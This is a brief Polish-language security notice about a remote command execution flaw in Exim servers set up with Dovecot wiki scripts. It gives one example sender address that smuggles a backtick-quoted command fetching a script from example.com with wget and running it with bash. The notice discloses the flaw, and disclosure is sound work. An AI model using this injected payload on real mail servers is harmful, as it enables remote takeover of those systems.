Jeśli Wasz Exim korzysta z Dovecota i skonfigurowaliście go w oparciu o skrypty opublikowane na wiki Dovecota, to prawdopodobnie można na Waszym serwerze wykonać dowolne polecenie poprzez skierowanie do niego emaila od nadawcy
red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`[email protected]
Polecamy lekturę na temat szczegółów błędu.